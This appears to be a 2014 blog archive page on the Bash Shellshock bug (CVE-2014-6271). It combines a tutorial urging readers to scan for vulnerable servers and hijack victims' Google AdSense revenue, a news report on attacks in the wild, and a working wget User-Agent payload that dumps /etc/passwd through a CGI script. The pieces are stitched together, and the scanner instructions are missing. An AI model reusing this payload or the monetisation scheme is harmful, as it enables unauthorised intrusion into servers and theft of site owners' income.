Archive for September, 2014

How to exploit and use the Bash ShellShock Bug in Mac OSX and Ubuntu Linux, Step by Step Tutorial

September 25, 2014

It's useful to know


In our example we will execute a simple script on the victim to change a victims Google AdSense Account ID to your ID so you can take his ad revenue.  Each victim seems to only average around $3-5 a day but you can quickly exploit several thousand victims which really adds up…  Time is of the essence however as more and more people patch there servers…

Step 1:

Find a victim, this is very easy with the proper tools.. In our example we will be using masscan

Go ahead and download the latest version from

***This tutorial assumes you know basic terminal usage and are running either Linux or Max OSX and have a build environment setup..

After extracting the archive open /src/proto-http.c with a text editor and insert the following code at line #24

Update: 25/09/14 ***Removed from site after complaints… Leave a comment if you want the link to the instructions 


The problem as I understand it is that while it’s okay to define a function in an environment variable, bash is not supposed to execute the code after it.

The extra “Content-type:” is only for illustration. It prevents the 500 error and shows the contents of the file.

The above example also shows how it’s not a problem of programming errors, even normally safe and harmless bash cgi which doesn’t even take user input can be exploited.


Within a day of the Bash bug dubbed ‘shellshock’ being disclosed, it appears that attackers are already looking for ways to use it for their advantage.

Security researchers have found proof of concept code that attempts to exploit the serious bug discovered this week in Bourne-Again Shell, also known as Bash, which according to US CERT affects both Linux and Mac OS X.

The good news yesterday that some Linux distributions shipped patches for the bug yesterday has already been tempered by the discovery that those patches only partially dealt with potential attacks. In an update overnight, Red Hat said that it was developing a new patch, however, it is still advising users to apply the incomplete one for now.

At the same time as security experts have been racing to develop fixes for the bug and patch systems, it appears hackers have been working on tools to attack vulnerable systems.

Security researcher Yinette yesterday reported discovering the first attack in the wild that exploits the bug, which has been officially documented as CVE-2014-6271.

Security researchers have since analysed the malware, finding numerous functions including distributed denial of service (DDoS) IRC bot as well as a feature that attempts to guess passwords and logins on vulnerable servers, using a list of poor passwords such as ‘root’, ‘admin’, ‘user’, ‘login’, and ‘123456’.

AusCERT earlier yesterday also claimed to have received reports the bug was being exploited in the wild.

Meanwhile, security researcher Robert Graham claims to have found at least 3,000 systems vulnerable to the bug. However Graham’s scan only looked at systems on port 80; the researcher noted embedded webservers on odd ports are the real danger and a scan for these “would give a couple times more results”.

He also warned that DHCP services are also vulnerable, as reported in the initial advisory. “Consequently, even though my light scan found only 3,000 results, this thing is clearly wormable, and can easily worm past firewalls and infect lots of systems. One key question is whether Mac OS X and iPhone DHCP service is vulnerable — once the worm gets behind a firewall and runs a hostile DHCP server, that would “game over” for large networks.”




A very simple example would be a cgi, /var/www/cgi-bin/test.cgi:

echo "Content-type: text/plain"
echo "Hi"

Then call it with wget to swap out the User Agent string. E.g. this will show the contents of /etc/passwd:

wget -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd"

To break it down:

"() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd"

Looks like:

() {
echo \"Content-type: text/plain\"
/bin/cat /etc/passwd